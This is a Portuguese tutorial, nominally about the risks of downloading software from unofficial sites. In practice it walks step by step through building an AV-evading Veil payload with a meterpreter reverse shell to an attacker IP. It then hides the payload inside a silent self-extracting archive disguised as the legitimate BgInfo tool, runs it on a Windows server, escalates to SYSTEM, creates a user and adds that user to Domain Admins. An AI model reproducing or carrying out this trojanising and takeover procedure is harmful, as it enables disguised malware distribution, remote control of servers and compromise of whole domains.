O objetivo deste artigo é conscientizar sobre os riscos de realizar o download de ferramentas e aplicativos de qualquer site na internet sem que seja o site oficial do desenvolvedor e/ou do fabricante da solução que você tem interesse em utilizar em um ambiente de produção.
Projeto : github.com/n00py/veil
Execute o comando veil e em seguida use a ferramenta Evasion.
Linuxveil Veil:> use 1
Execute o comando list para visualizar todos os payloads disponíveis.
LinuxVeil:> list
Utilize o payload 29) python/shellcode_inject/aes_encrypt.py
LinuxVeil:> use 29
Você pode definir diversas opções disponíveis no payload como por exemplo mudar de N (No) para Y (Yes) a opção USE_PYHERION.
Linux[python/shellcode_inject/aes_encrypt>>]: set USE_PYHERION y
Digite options para validar a alteração.
Linux[python/shellcode_inject/aes_encrypt>>]: options
Digite generate para gerar o payload.
Linux[python/shellcode_inject/aes_encrypt>>]: generate
Digite 2 para gerar o shellcode utilizando MSFVenon em seguida pressione a tecla Enter para realizar a conexão reversa utilizando windows/meterpreter/reverse_tcp.
Linux2 – MSFVenon [ Enter ] para windows/meterpreter/reverse_tcp
Informe o LHOST e o LPORT.
LinuxLHOST = 192.168.1.120 ( IP do Kali Linux ) LPORT = 445 ( Porta definida para estabelecer a conexão )
Informe o no do payload (ex: arquivo).
Linuxarquivo
Digite 1 para gerar o payload executável utilizando PyInstaller.
Linux1 – PyInstaller
O payload arquivo.exe e o Metasploit arquivo.rc foram gerados com sucesso.
Linux[*] Language: python [*] Payload Module: python/shellcode_inject/aes_encrypt [*] Executable written to: /var/lib/veil/output/compiled/arquivo.exe [*] Source code written to: /var/lib/veil/output/source/arquivo.py [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/arquivo.rc
Mover o arquivo.exe para o diretório /var/www/html.
Linuxmv /var/lib/veil/output/compiled/arquivo.exe /var/www/html/
Realize o download do arquivo.exe.
Em paralelo já deixe a conexão via Metasploit sendo realizada.
Linuxcd /var/lib/veil/output/handlers/ msfconsole -r arquivo.rc
Realize o download da ferramenta BgInfo, clique aqui! e descompacte o arquivo BGinfo.zip.
Entre na pasta BGInfo e copie o arquivo Bginfo.exe para o mesmo local que está o arquivo.exe em seguida remova a pasta BGInfo e o arquivo BGinfo.zip e deixe como esta na imagem abaixo :
Selecione os dois arquivos arquivo.exe e Bginfo.exe > botão direito > Add to archive…
Selecione o formato ZIP e marque a opção Create SFX archive.
Na aba Advanced clique em SFX options…
Na aba General insira o caminho da pasta no qual os arquivos serão extraídos, C:\Windows\Temp.
Na aba Setup no bloco Run after extraction insira a sequência de execução :
Bginfo.exe ( Ferramenta )
arquivo.exe ( Arquivo Malicioso )
Na aba Modes no bloco Silent mode selecione a opção Hide all.
Na aba Update no bloco Overwrite mode selecione a opção Overwrite all files.
Na aba Text and Icon no bloco Customize SFX logo and Icon você pode selecionar um arquivo .ICO, em seguida clique em OK em todas as telas.
O arquivo Downloads.exe será gerado contendo os arquivos arquivo.exe + Bginfo.exe compactados.
Remova o arquivo.exe e Bginfo.exe e renomei o arquivo Download.exe para Bginfo.exe.
Copie o arquivo Bginfo.exe para o Servidor Windows.
Execute o arquivo Bginfo.exe.
// Neste momento o arquivo.exe também é executado inciando a conexão remota.
Retorne ao Kali Linux e observe que a conexão foi realizada com sucesso, basta iniciar a sessão.
Linuxmsf exploit(multi/handler) > sessions -i 1
Com o meterpreter iniciado basta digitar os comandos :
Linuxmeterpreter > getuid ( Exibe o usuário logado ) meterpreter > getsystem ( Obter o acesso de System ) meterpreter > getuid ( Exibe o usuário System ) meterpreter > shell ( Realiza o acesso a Shell do Windows )
Com acesso ao shell execute os comandos :
WindowsC:\Windows\system32>hostname ( Exibe o hostname do Servidor ) C:\Windows\system32>ipconfig ( Exibe o ip do Servidor )
Criando um usuário no Servidor : Active Directory.
WindowsC:\Windows\system32>net user Marcos P@ssw0rd /add
// Dica : você pode utilizar a opção /add /domain porém como este servidor é um Active Directory basta utilizar apenas o /add para criar um usuário no domínio.
Você pode verificar a qual grupo o usuário Marcos pertencente digitando :
WindowsC:\Windows\system32>net user Marcos
Para adicionar o usuário Marcos ao grupo de Domain Admins digite :
LinuxC:\Windows\system32>net group "Domain Admins" Marcos /add /domain
Você pode verificar a quais grupos o usuário Marcos pertencente digitando (novamente) :
LinuxC:\Windows\system32>net user Marcos